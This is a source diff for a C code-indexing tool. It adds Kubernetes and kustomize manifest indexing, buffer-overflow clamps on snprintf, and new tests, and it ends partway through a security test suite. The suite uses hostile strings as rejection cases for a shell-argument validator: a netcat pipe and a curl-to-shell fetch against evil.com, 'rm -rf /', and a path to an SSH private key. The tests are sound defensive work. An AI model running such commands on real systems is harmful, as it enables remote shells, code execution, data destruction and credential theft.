/* source/src_len are the already-read file bytes (caller retains ownership and
* must free after this call returns). */
static void handle_k8s_manifest(cbm_pipeline_ctx_t *ctx, const char *path, const char *rel_path,
const char *source, int src_len) {
(void)path; /* retained for symmetry; source is always provided now */
int resource_count = 0;
CBMFileResult *res = cbm_extract_file(source, src_len, CBM_LANG_K8S, ctx->project_name,
rel_path, CBM_EXTRACT_BUDGET, NULL, NULL);
if (!res) {
return;
}
/* Compute file node QN for DEFINES edges */
char *file_qn = cbm_pipeline_fqn_compute(ctx->project_name, rel_path, "__file__");
const cbm_gbuf_node_t *file_node = file_qn ? cbm_gbuf_find_by_qn(ctx->gbuf, file_qn) : NULL;
free(file_qn);
for (int d = 0; d < res->defs.count; d++) {
CBMDefinition *def = &res->defs.items[d];
if (!def->label || strcmp(def->label, "Resource") != 0) {
continue;
}
if (!def->name || !def->qualified_name) {
continue;
}
// NOLINTNEXTLINE(misc-include-cleaner)
int64_t node_id =
cbm_gbuf_upsert_node(ctx->gbuf, "Resource", def->name, def->qualified_name, rel_path,
(int)def->start_line, (int)def->end_line, "{\"source\":\"k8s\"}");
/* DEFINES edge: File → Resource */
if (file_node && node_id > 0) {
cbm_gbuf_insert_edge(ctx->gbuf, file_node->id, node_id, "DEFINES", "{}");
}
resource_count++;
}
cbm_free_result(res);
cbm_log_info("pass.k8s.manifest", "file", rel_path, "resources", itoa_k8s(resource_count));
}
/* ── Pass entry point ────────────────────────────────────────────── */
// NOLINTNEXTLINE(misc-include-cleaner) — cbm_file_info_t provided by standard header
int cbm_pipeline_pass_k8s(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files, int file_count) {
cbm_log_info("pass.start", "pass", "k8s", "files", itoa_k8s(file_count));
cbm_init();
int kustomize_count = 0;
int manifest_count = 0;
for (int i = 0; i < file_count; i++) {
if (cbm_pipeline_check_cancel(ctx)) {
return -1;
}
const char *path = files[i].path;
const char *rel = files[i].rel_path;
CBMLanguage lang = files[i].language;
const char *base = k8s_basename(rel);
CBMFileResult *cached =
(ctx->result_cache && ctx->result_cache[i]) ? ctx->result_cache[i] : NULL;
if (cbm_is_kustomize_file(base)) {
handle_kustomize(ctx, path, rel, cached);
kustomize_count++;
} else if (lang == CBM_LANG_YAML || lang == CBM_LANG_K8S) {
/* Read source once to classify (and reuse for uncached extraction). */
int src_len = 0;
char *source = k8s_read_file(path, &src_len);
if (source) {
if (cbm_is_k8s_manifest(base, source)) {
/* Always re-extract with CBM_LANG_K8S regardless of any cached
* result: cached results were produced during the parallel YAML
* pass and contain no "Resource" definitions. Pass the already-
* read source buffer so handle_k8s_manifest does not re-read. */
(void)cached; /* cached YAML result intentionally discarded */
handle_k8s_manifest(ctx, path, rel, source, src_len);
manifest_count++;
}
free(source);
}
}
}
cbm_log_info("pass.done", "pass", "k8s", "kustomize", itoa_k8s(kustomize_count), "manifests",
itoa_k8s(manifest_count));
return 0;
}
+45
View File
@@ -17,6 +17,7 @@
#include "graph_buffer/graph_buffer.h"
#include "store/store.h"
#include "discover/discover.h"
#include "discover/userconfig.h"
#include "foundation/platform.h"
#include "foundation/compat_fs.h"
#include "foundation/log.h"
@@ -44,6 +45,9 @@ struct cbm_pipeline {
/* Indexing state (set during run) */
cbm_gbuf_t *gbuf;
cbm_registry_t *registry;
/* User-defined extension overrides (loaded once per run) */
cbm_userconfig_t *userconfig;
};
/* ── Timing helper ──────────────────────────────────────────────── */
@@ -97,6 +101,12 @@ void cbm_pipeline_free(cbm_pipeline_t *p) {
free(p->db_path);
free(p->project_name);
/* gbuf, store, registry freed during/after run */
/* Defensively free userconfig in case run() was never called or panicked */
if (p->userconfig) {
cbm_set_user_lang_config(NULL);
cbm_userconfig_free(p->userconfig);
p->userconfig = NULL;
}
free(p);
}
@@ -303,6 +313,10 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
struct timespec t0;
cbm_clock_gettime(CLOCK_MONOTONIC, &t0);
/* Load user-defined extension overrides (fail-open: NULL on error) */
p->userconfig = cbm_userconfig_load(p->repo_path);
cbm_set_user_lang_config(p->userconfig);
/* Phase 1: Discover files */
cbm_discover_opts_t opts = {
.mode = p->mode,
@@ -314,6 +328,10 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
int rc = cbm_discover(p->repo_path, &opts, &files, &file_count);
if (rc != 0) {
cbm_log_error("pipeline.err", "phase", "discover", "rc", itoa_buf(rc));
cbm_discover_free(files, file_count);
cbm_set_user_lang_config(NULL);
cbm_userconfig_free(p->userconfig);
p->userconfig = NULL;
return -1;
}
cbm_log_info("pipeline.discover", "files", itoa_buf(file_count), "elapsed_ms",
@@ -321,6 +339,9 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
if (check_cancel(p)) {
cbm_discover_free(files, file_count);
cbm_set_user_lang_config(NULL);
cbm_userconfig_free(p->userconfig);
p->userconfig = NULL;
return -1;
}
@@ -494,6 +515,16 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
rc = -1;
goto cleanup;
}
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
rc = cbm_pipeline_pass_k8s(&ctx, files, file_count);
if (rc != 0) { /* log warning, continue */
}
cbm_log_info("pass.timing", "pass", "k8s", "elapsed_ms", itoa_buf((int)elapsed_ms(t)));
if (check_cancel(p)) {
rc = -1;
goto cleanup;
}
} else {
cbm_log_info("pipeline.mode", "mode", "sequential", "files", itoa_buf(file_count));
@@ -518,6 +549,16 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
goto seq_cleanup;
}
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
rc = cbm_pipeline_pass_k8s(&ctx, files, file_count);
if (rc != 0) { /* log warning, continue */
}
cbm_log_info("pass.timing", "pass", "k8s", "elapsed_ms", itoa_buf((int)elapsed_ms(t)));
if (check_cancel(p)) {
rc = -1;
goto seq_cleanup;
}
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
rc = cbm_pipeline_pass_calls(&ctx, files, file_count);
if (rc != 0) {
@@ -759,5 +800,9 @@ cleanup:
p->gbuf = NULL;
cbm_registry_free(p->registry);
p->registry = NULL;
/* Clear and free user extension config */
cbm_set_user_lang_config(NULL);
cbm_userconfig_free(p->userconfig);
p->userconfig = NULL;
return rc;
}
+12
View File
@@ -265,6 +265,18 @@ int cbm_pipeline_run_incremental(cbm_pipeline_t *p, const char *db_path, cbm_fil
cbm_log_info("pass.timing", "pass", "incr_semantic", "elapsed_ms",
itoa_buf((int)elapsed_ms(t)));
/* k8s pass runs after semantic (vs. after definitions in the full pipeline) because
* incremental has no parallel extraction phase to position it alongside.
* Note: File→Resource DEFINES edges and cross-file kustomize IMPORTS edges are not
* emitted here — File nodes (from pass_structure) are absent in the incremental gbuf,
* and gbuf_find_by_qn only resolves nodes from changed files. This is a known
* structural limitation of the incremental architecture. */
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
if (cbm_pipeline_pass_k8s(&ctx, changed_files, ci) != 0) {
cbm_log_info("incremental.warn", "msg", "k8s_pass_failed");
}
cbm_log_info("pass.timing", "pass", "incr_k8s", "elapsed_ms", itoa_buf((int)elapsed_ms(t)));
/* Merge new nodes/edges from gbuf into disk DB */
int new_nodes = cbm_gbuf_node_count(gbuf);
int new_edges = cbm_gbuf_edge_count(gbuf);
+4
View File
@@ -218,6 +218,8 @@ bool cbm_is_compose_file(const char *name);
bool cbm_is_cloudbuild_file(const char *name);
bool cbm_is_env_file(const char *name);
bool cbm_is_shell_script(const char *name, const char *ext);
bool cbm_is_kustomize_file(const char *name);
bool cbm_is_k8s_manifest(const char *name, const char *content);
/* Secret detection */
bool cbm_is_secret_binding(const char *key, const char *value);
@@ -353,6 +355,8 @@ int cbm_parallel_resolve(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files,
int cbm_pipeline_pass_definitions(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files,
int file_count);
int cbm_pipeline_pass_k8s(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files, int file_count);
int cbm_pipeline_pass_calls(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files, int file_count);
/* Sub-passes called from pass_calls: pattern-based edge extraction */
+61 -6
View File
@@ -1431,6 +1431,43 @@ void cbm_store_node_degree(cbm_store_t *s, int64_t node_id, int *in_deg, int *ou
}
}
/* ── List distinct file paths ────────────────────────────────── */
int cbm_store_list_files(cbm_store_t *s, const char *project, char ***out, int *count) {
*out = NULL;
*count = 0;
if (!s || !s->db || !project) {
return CBM_STORE_ERR;
}
const char *sql = "SELECT DISTINCT file_path FROM nodes "
"WHERE project = ?1 AND file_path IS NOT NULL AND file_path != ''";
sqlite3_stmt *stmt = NULL;
if (sqlite3_prepare_v2(s->db, sql, -1, &stmt, NULL) != SQLITE_OK) {
return CBM_STORE_ERR;
}
sqlite3_bind_text(stmt, 1, project, -1, SQLITE_STATIC);
int cap = 64;
int n = 0;
char **files = malloc(cap * sizeof(char *));
while (sqlite3_step(stmt) == SQLITE_ROW) {
const char *fp = (const char *)sqlite3_column_text(stmt, 0);
if (!fp) {
continue;
}
if (n >= cap) {
cap *= 2;
files = safe_realloc(files, cap * sizeof(char *));
}
files[n++] = heap_strdup(fp);
}
sqlite3_finalize(stmt);
*out = files;
*count = n;
return CBM_STORE_OK;
}
/* ── Node neighbor names ──────────────────────────────────────── */
// NOLINTNEXTLINE(bugprone-easily-swappable-parameters)
@@ -1895,10 +1932,16 @@ int cbm_store_search(cbm_store_t *s, const cbm_search_params_t *params, cbm_sear
int elen = (int)strlen(excl_clause);
for (int i = 0; params->exclude_labels[i]; i++) {
if (i > 0) {
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - elen, ",");
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - (size_t)elen, ",");
if (elen >= (int)sizeof(excl_clause)) {
elen = (int)sizeof(excl_clause) - 1;
}
}
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - elen, "'%s'",
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - (size_t)elen, "'%s'",
params->exclude_labels[i]);
if (elen >= (int)sizeof(excl_clause)) {
elen = (int)sizeof(excl_clause) - 1;
}
}
snprintf(excl_clause + elen, sizeof(excl_clause) - (size_t)elen, ")");
ADD_WHERE(excl_clause);
@@ -2040,10 +2083,16 @@ int cbm_store_bfs(cbm_store_t *s, int64_t start_id, const char *direction, const
int tlen = 0;
for (int i = 0; i < edge_type_count; i++) {
if (i > 0) {
tlen += snprintf(types_clause + tlen, sizeof(types_clause) - tlen, ",");
tlen += snprintf(types_clause + tlen, sizeof(types_clause) - (size_t)tlen, ",");
if (tlen >= (int)sizeof(types_clause)) {
tlen = (int)sizeof(types_clause) - 1;
}
}
tlen += snprintf(types_clause + tlen, sizeof(types_clause) - (size_t)tlen, "'%s'",
edge_types[i]);
if (tlen >= (int)sizeof(types_clause)) {
tlen = (int)sizeof(types_clause) - 1;
}
tlen +=
snprintf(types_clause + tlen, sizeof(types_clause) - tlen, "'%s'", edge_types[i]);
}
}
@@ -2111,9 +2160,15 @@ int cbm_store_bfs(cbm_store_t *s, int64_t start_id, const char *direction, const
/* Build ID set: root + all visited */
char id_set[4096];
int ilen = snprintf(id_set, sizeof(id_set), "%lld", (long long)start_id);
if (ilen >= (int)sizeof(id_set)) {
ilen = (int)sizeof(id_set) - 1;
}
for (int i = 0; i < n; i++) {
ilen += snprintf(id_set + ilen, sizeof(id_set) - ilen, ",%lld",
ilen += snprintf(id_set + ilen, sizeof(id_set) - (size_t)ilen, ",%lld",
(long long)out->visited[i].node.id);
if (ilen >= (int)sizeof(id_set)) {
ilen = (int)sizeof(id_set) - 1;
}
}
char edge_sql[8192];
+4
View File
@@ -73,6 +73,10 @@ int cbm_store_find_nodes_by_qn_suffix(cbm_store_t *s, const char *project, const
/* Get CALLS degree of a node (inbound and outbound). */
void cbm_store_node_degree(cbm_store_t *s, int64_t node_id, int *in_deg, int *out_deg);
/* Get distinct file paths for a project. Caller must free each out[i] and out itself.
* Returns CBM_STORE_OK or CBM_STORE_ERR. */
int cbm_store_list_files(cbm_store_t *s, const char *project, char ***out, int *count);
/* Get caller/callee names for a node (CALLS/HTTP_CALLS/ASYNC_CALLS edges).
* Returns 0 on success. Caller must free each out_callers[i]/out_callees[i]
* and the arrays themselves. */
+6
View File
@@ -274,6 +274,9 @@ static void handle_processes(struct mg_connection *c) {
"\"elapsed\":\"%s\",\"command\":\"%s\",\"is_self\":%s}",
pid, (double)cpu, (double)rss / 1024.0, elapsed, comm,
pid == (int)getpid() ? "true" : "false");
if (pos >= (int)sizeof(buf)) {
pos = (int)sizeof(buf) - 1;
}
proc_count++;
}
}
@@ -415,6 +418,9 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
if (count > 0)
buf[pos++] = ',';
pos += snprintf(buf + pos, sizeof(buf) - (size_t)pos, "\"%s\"", ent->d_name);
if (pos >= (int)sizeof(buf)) {
pos = (int)sizeof(buf) - 1;
}
count++;
if (count >= 200)
+6 -2
View File
@@ -7050,8 +7050,12 @@ TEST(clsp_nocrash_extremely_large_function) {
int off = 0;
off += snprintf(src + off, sizeof(src) - off, "struct W { void m() {} };\n");
off += snprintf(src + off, sizeof(src) - off, "void test() {\n");
for (int i = 0; i < 50; i++)
off += snprintf(src + off, sizeof(src) - off, " W w%d;\n", i);
for (int i = 0; i < 50; i++) {
off += snprintf(src + off, sizeof(src) - (size_t)off, " W w%d;\n", i);
if (off >= (int)sizeof(src)) {
off = (int)sizeof(src) - 1;
}
}
off += snprintf(src + off, sizeof(src) - off, " W w0;\n");
off += snprintf(src + off, sizeof(src) - off, " w0.m();\n");
off += snprintf(src + off, sizeof(src) - off, "}\n");
+3 -3
View File
@@ -1674,7 +1674,7 @@ TEST(cli_upsert_claude_hook_fresh) {
ASSERT_NOT_NULL(data);
ASSERT(strstr(data, "PreToolUse") != NULL);
ASSERT(strstr(data, "Grep|Glob|Read") != NULL);
ASSERT(strstr(data, "codebase-memory-mcp") != NULL);
ASSERT(strstr(data, "cbm-code-discovery-gate") != NULL);
test_rmdir_r(tmpdir);
PASS();
@@ -1722,9 +1722,9 @@ TEST(cli_upsert_claude_hook_replace) {
const char *data = read_test_file(settingspath);
ASSERT_NOT_NULL(data);
/* Old message gone, new message present */
/* Old message gone, new hook script path present */
ASSERT(strstr(data, "old-cmm-message") == NULL);
ASSERT(strstr(data, "codebase-memory-mcp") != NULL);
ASSERT(strstr(data, "cbm-code-discovery-gate") != NULL);
test_rmdir_r(tmpdir);
PASS();
+6
View File
@@ -26,6 +26,7 @@ extern void suite_store_search(void);
extern void suite_cypher(void);
extern void suite_mcp(void);
extern void suite_language(void);
extern void suite_userconfig(void);
extern void suite_gitignore(void);
extern void suite_discover(void);
extern void suite_graph_buffer(void);
@@ -48,6 +49,7 @@ extern void suite_worker_pool(void);
extern void suite_parallel(void);
extern void suite_mem(void);
extern void suite_ui(void);
extern void suite_security(void);
extern void suite_integration(void);
int main(void) {
@@ -80,6 +82,7 @@ int main(void) {
/* Discover (M2) */
RUN_SUITE(language);
RUN_SUITE(userconfig);
RUN_SUITE(gitignore);
RUN_SUITE(discover);
@@ -132,6 +135,9 @@ int main(void) {
/* UI (config, embedded assets, layout) */
RUN_SUITE(ui);
/* Security defenses */
RUN_SUITE(security);
/* Integration (end-to-end) */
RUN_SUITE(integration);
+275
View File
@@ -3331,6 +3331,30 @@ TEST(infra_is_dockerfile) {
PASS();
}
TEST(infra_is_kustomize_file) {
ASSERT(cbm_is_kustomize_file("kustomization.yaml"));
ASSERT(cbm_is_kustomize_file("kustomization.yml"));
ASSERT(cbm_is_kustomize_file("KUSTOMIZATION.YAML")); /* case-insensitive */
ASSERT(!cbm_is_kustomize_file("deployment.yaml"));
ASSERT(!cbm_is_kustomize_file("kustomize.yaml"));
ASSERT(!cbm_is_kustomize_file(NULL));
PASS();
}
TEST(infra_is_k8s_manifest) {
const char *deploy = "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: my-app\n";
const char *plain = "name: foo\nvalue: bar\n";
const char *kust = "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n";
ASSERT(cbm_is_k8s_manifest("deployment.yaml", deploy));
ASSERT(!cbm_is_k8s_manifest("deployment.yaml", plain));
/* kustomize file should return false even if it has apiVersion */
ASSERT(!cbm_is_k8s_manifest("kustomization.yaml", kust));
ASSERT(!cbm_is_k8s_manifest(NULL, deploy));
ASSERT(!cbm_is_k8s_manifest("deployment.yaml", NULL));
PASS();
}
TEST(infra_is_env_file) {
ASSERT(cbm_is_env_file(".env"));
ASSERT(cbm_is_env_file(".env.local"));
@@ -4139,6 +4163,114 @@ TEST(infra_pipeline_idempotent) {
PASS();
}
/* ── K8s / Kustomize extraction tests ──────────────────────────── */
TEST(k8s_extract_kustomize) {
const char *src =
"apiVersion: kustomize.config.k8s.io/v1beta1\n"
"kind: Kustomization\n"
"resources:\n"
" - deployment.yaml\n"
" - service.yaml\n";
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_KUSTOMIZE,
"myproj", "base/kustomization.yaml",
0, NULL, NULL);
ASSERT(r != NULL);
ASSERT_GTE(r->imports.count, 2);
bool found_deploy = false, found_svc = false;
for (int i = 0; i < r->imports.count; i++) {
if (r->imports.items[i].module_path &&
strcmp(r->imports.items[i].module_path, "deployment.yaml") == 0)
found_deploy = true;
if (r->imports.items[i].module_path &&
strcmp(r->imports.items[i].module_path, "service.yaml") == 0)
found_svc = true;
}
ASSERT_TRUE(found_deploy);
ASSERT_TRUE(found_svc);
cbm_free_result(r);
PASS();
}
TEST(k8s_extract_manifest) {
const char *src =
"apiVersion: apps/v1\n"
"kind: Deployment\n"
"metadata:\n"
" name: my-app\n"
" namespace: production\n";
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_K8S,
"myproj", "k8s/deployment.yaml",
0, NULL, NULL);
ASSERT(r != NULL);
ASSERT_GTE(r->defs.count, 1);
bool found_resource = false;
for (int d = 0; d < r->defs.count; d++) {
if (r->defs.items[d].label &&
strcmp(r->defs.items[d].label, "Resource") == 0 &&
r->defs.items[d].name &&
strstr(r->defs.items[d].name, "Deployment") != NULL)
found_resource = true;
}
ASSERT_TRUE(found_resource);
cbm_free_result(r);
PASS();
}
TEST(k8s_extract_manifest_no_name) {
const char *src = "apiVersion: apps/v1\nkind: Deployment\n";
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_K8S,
"myproj", "k8s/deploy.yaml", 0, NULL, NULL);
ASSERT(r != NULL);
/* No crash — defs count may be 0 because metadata.name is absent */
ASSERT(!r->has_error);
cbm_free_result(r);
PASS();
}
TEST(k8s_extract_manifest_multidoc) {
/* Two-document YAML separated by "---".
* extract_k8s_manifest contains a "break" after the first successful push,
* so it processes only the first document that has both kind and
* metadata.name. This test pins that behaviour: the first document's
* resource must be present and no crash must occur.
*
* Note: with some tree-sitter YAML grammar versions the root stream may
* expose both documents as siblings; the break still fires after the first
* successful def push, so defs.count must be exactly 1. */
const char *src =
"apiVersion: apps/v1\n"
"kind: Deployment\n"
"metadata:\n"
" name: my-app\n"
"---\n"
"apiVersion: v1\n"
"kind: Service\n"
"metadata:\n"
" name: my-svc\n";
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_K8S,
"myproj", "k8s/multi.yaml", 0, NULL, NULL);
ASSERT(r != NULL);
ASSERT(!r->has_error);
/* First document's resource must be present */
int found = 0;
for (int i = 0; i < r->defs.count; i++) {
if (r->defs.items[i].label && strcmp(r->defs.items[i].label, "Resource") == 0 &&
r->defs.items[i].name && strcmp(r->defs.items[i].name, "Deployment/my-app") == 0) {
found = 1;
}
}
ASSERT(found);
/* At least one def, no more than one (only first document processed) */
ASSERT(r->defs.count >= 1);
cbm_free_result(r);
PASS();
}
/* ── Envscan tests (port of envscan_test.go) ───────────────────── */
/* Helper: write a file inside a temp dir */
@@ -4947,6 +5079,140 @@ TEST(incremental_new_file_added) {
PASS();
}
TEST(incremental_k8s_manifest_indexed) {
/* Full index with a k8s manifest, then add a new manifest via incremental.
* Verifies that cbm_pipeline_pass_k8s() runs during incremental re-index. */
char tmpdir[256];
snprintf(tmpdir, sizeof(tmpdir), "/tmp/cbm_k8s_incr_XXXXXX");
if (!cbm_mkdtemp(tmpdir)) {
SKIP("tmpdir");
}
char dbpath[512];
snprintf(dbpath, sizeof(dbpath), "%s/test.db", tmpdir);
char path[512];
FILE *f;
/* Initial manifest */
snprintf(path, sizeof(path), "%s/deploy.yaml", tmpdir);
f = fopen(path, "w");
ASSERT_NOT_NULL(f);
fprintf(f, "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: my-app\n");
fclose(f);
/* Full index */
cbm_pipeline_t *p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
ASSERT_NOT_NULL(p);
ASSERT_EQ(cbm_pipeline_run(p), 0);
char *project = strdup(cbm_pipeline_project_name(p));
cbm_pipeline_free(p);
/* Verify Resource node created by full index */
cbm_store_t *s = cbm_store_open_path(dbpath);
ASSERT_NOT_NULL(s);
cbm_node_t *nodes = NULL;
int count = 0;
cbm_store_find_nodes_by_label(s, project, "Resource", &nodes, &count);
ASSERT_GT(count, 0);
cbm_store_free_nodes(nodes, count);
cbm_store_close(s);
/* Add a second manifest — incremental should pick it up */
snprintf(path, sizeof(path), "%s/svc.yaml", tmpdir);
f = fopen(path, "w");
ASSERT_NOT_NULL(f);
fprintf(f, "apiVersion: v1\nkind: Service\nmetadata:\n name: my-svc\n");
fclose(f);
/* Incremental re-index */
p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
ASSERT_NOT_NULL(p);
ASSERT_EQ(cbm_pipeline_run(p), 0);
cbm_pipeline_free(p);
/* Verify both Resource nodes now present */
s = cbm_store_open_path(dbpath);
ASSERT_NOT_NULL(s);
nodes = NULL;
count = 0;
cbm_store_find_nodes_by_label(s, project, "Resource", &nodes, &count);
ASSERT_GTE(count, 2);
cbm_store_free_nodes(nodes, count);
cbm_store_close(s);
free(project);
char cmd[512];
snprintf(cmd, sizeof(cmd), "rm -rf '%s'", tmpdir);
(void)system(cmd);
PASS();
}
TEST(incremental_kustomize_module_indexed) {
/* Verifies that a kustomization.yaml added after the initial full index
* gets a Module node via the incremental k8s pass. */
char tmpdir[256];
snprintf(tmpdir, sizeof(tmpdir), "/tmp/cbm_kust_incr_XXXXXX");
if (!cbm_mkdtemp(tmpdir)) {
SKIP("tmpdir");
}
char dbpath[512];
snprintf(dbpath, sizeof(dbpath), "%s/test.db", tmpdir);
char path[512];
FILE *f;
/* Initial resource manifest (gives full index something to find) */
snprintf(path, sizeof(path), "%s/deploy.yaml", tmpdir);
f = fopen(path, "w");
ASSERT_NOT_NULL(f);
fprintf(f, "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: my-app\n");
fclose(f);
/* Full index */
cbm_pipeline_t *p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
ASSERT_NOT_NULL(p);
ASSERT_EQ(cbm_pipeline_run(p), 0);
char *project = strdup(cbm_pipeline_project_name(p));
cbm_pipeline_free(p);
/* Add kustomization.yaml */
snprintf(path, sizeof(path), "%s/kustomization.yaml", tmpdir);
f = fopen(path, "w");
ASSERT_NOT_NULL(f);
fprintf(f, "apiVersion: kustomize.config.k8s.io/v1beta1\n"
"kind: Kustomization\n"
"resources:\n"
" - deploy.yaml\n");
fclose(f);
/* Incremental re-index */
p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
ASSERT_NOT_NULL(p);
ASSERT_EQ(cbm_pipeline_run(p), 0);
cbm_pipeline_free(p);
/* Verify Module node created for the kustomization overlay */
cbm_store_t *s = cbm_store_open_path(dbpath);
ASSERT_NOT_NULL(s);
cbm_node_t *nodes = NULL;
int count = 0;
cbm_store_find_nodes_by_label(s, project, "Module", &nodes, &count);
bool found_kust = false;
for (int i = 0; i < count; i++) {
if (nodes[i].properties_json && strstr(nodes[i].properties_json, "kustomize")) {
found_kust = true;
break;
}
}
cbm_store_free_nodes(nodes, count);
cbm_store_close(s);
ASSERT_TRUE(found_kust);
free(project);
char cmd[512];
snprintf(cmd, sizeof(cmd), "rm -rf '%s'", tmpdir);
(void)system(cmd);
PASS();
}
SUITE(pipeline) {
/* Lifecycle */
RUN_TEST(pipeline_create_free);
@@ -5055,6 +5321,8 @@ SUITE(pipeline) {
RUN_TEST(infra_is_cloudbuild_file);
RUN_TEST(infra_is_shell_script);
RUN_TEST(infra_is_dockerfile);
RUN_TEST(infra_is_kustomize_file);
RUN_TEST(infra_is_k8s_manifest);
RUN_TEST(infra_is_env_file);
RUN_TEST(infra_clean_json_brackets);
RUN_TEST(infra_secret_detection);
@@ -5083,6 +5351,11 @@ SUITE(pipeline) {
/* Infrascan: pipeline integration */
RUN_TEST(infra_pipeline_integration);
RUN_TEST(infra_pipeline_idempotent);
/* K8s / Kustomize extraction */
RUN_TEST(k8s_extract_kustomize);
RUN_TEST(k8s_extract_manifest);
RUN_TEST(k8s_extract_manifest_no_name);
RUN_TEST(k8s_extract_manifest_multidoc);
/* Env URL scanning */
RUN_TEST(envscan_dockerfile_env_urls);
RUN_TEST(envscan_shell_env_urls);
@@ -5130,4 +5403,6 @@ SUITE(pipeline) {
RUN_TEST(incremental_detects_changed_file);
RUN_TEST(incremental_detects_deleted_file);
RUN_TEST(incremental_new_file_added);
RUN_TEST(incremental_k8s_manifest_indexed);
RUN_TEST(incremental_kustomize_module_indexed);
}
+396
View File
@@ -0,0 +1,396 @@
/*
* test_security.c — Tests for security defenses.
*
* Verifies that the actual security mechanisms work end-to-end:
* - Shell injection prevention (cbm_validate_shell_arg)
* - SQLite authorizer (ATTACH/DETACH blocked)
* - Path containment (realpath prevents directory traversal)
*/
#include "test_framework.h"
#include <store/store.h>
#include <cypher/cypher.h>
#include "../src/foundation/str_util.h"
#include "../src/foundation/compat_fs.h"
#include <string.h>
#include <sys/stat.h>
/* ══════════════════════════════════════════════════════════════════
* SHELL INJECTION PREVENTION
* ══════════════════════════════════════════════════════════════════ */
TEST(shell_rejects_single_quote) {
ASSERT_FALSE(cbm_validate_shell_arg("foo'bar"));
PASS();
}
TEST(shell_rejects_dollar_subst) {
ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)"));
PASS();
}
TEST(shell_rejects_backtick) {
ASSERT_FALSE(cbm_validate_shell_arg("`id`"));
PASS();
}
TEST(shell_rejects_semicolon) {
ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /"));
PASS();
}
TEST(shell_rejects_pipe) {
ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444"));
PASS();
}
TEST(shell_rejects_ampersand) {
ASSERT_FALSE(cbm_validate_shell_arg("foo&background"));
PASS();
}
TEST(shell_rejects_backslash) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar"));
PASS();
}
TEST(shell_rejects_newline) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar"));
PASS();
}
TEST(shell_rejects_carriage_return) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar"));
PASS();
}
TEST(shell_rejects_null) {
ASSERT_FALSE(cbm_validate_shell_arg(NULL));
PASS();
}
TEST(shell_accepts_clean_path) {
ASSERT_TRUE(cbm_validate_shell_arg("/home/user/.local/bin/codebase-memory-mcp"));
PASS();
}
TEST(shell_accepts_spaces) {
ASSERT_TRUE(cbm_validate_shell_arg("/Users/John Doe/Documents"));
PASS();
}
TEST(shell_accepts_dots_dashes) {
ASSERT_TRUE(cbm_validate_shell_arg("file-name.tar.gz"));
PASS();
}
TEST(shell_accepts_empty) {
ASSERT_TRUE(cbm_validate_shell_arg(""));
PASS();
}
/* Combined attack vectors */
TEST(shell_rejects_quote_escape_attack) {
/* Attacker tries: ' ; rm -rf / ; echo ' */
ASSERT_FALSE(cbm_validate_shell_arg("' ; rm -rf / ; echo '"));
PASS();
}
TEST(shell_rejects_command_substitution) {
ASSERT_FALSE(cbm_validate_shell_arg("$(curl http://evil.com/shell.sh | sh)"));
PASS();
}
TEST(shell_rejects_env_var_expansion) {
ASSERT_FALSE(cbm_validate_shell_arg("${HOME}/.ssh/id_rsa"));
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQLITE AUTHORIZER (ATTACH/DETACH BLOCKED)
* ══════════════════════════════════════════════════════════════════ */
TEST(sqlite_blocks_attach_via_cypher) {
/* The Cypher engine translates queries to SQL. Even if someone crafts
* a Cypher query that somehow produces ATTACH, the SQLite authorizer
* should deny it. We test by using raw SQL through the store. */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Try ATTACH via Cypher — should fail at parse or authorizer level */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r);
/* Valid query works */
ASSERT_EQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_attach_direct) {
/* Directly test that the store's SQLite authorizer blocks ATTACH.
* cbm_store_exec_raw() would be ideal but the store is opaque.
* Instead, try a Cypher query that would generate ATTACH-like SQL.
* The Cypher parser rejects non-Cypher syntax, so ATTACH never reaches
* SQLite — this is defense in depth (parser + authorizer). */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Cypher parser should reject this as invalid syntax */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "ATTACH DATABASE '/tmp/evil.db' AS evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail — either parse error or authorizer deny */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_detach_direct) {
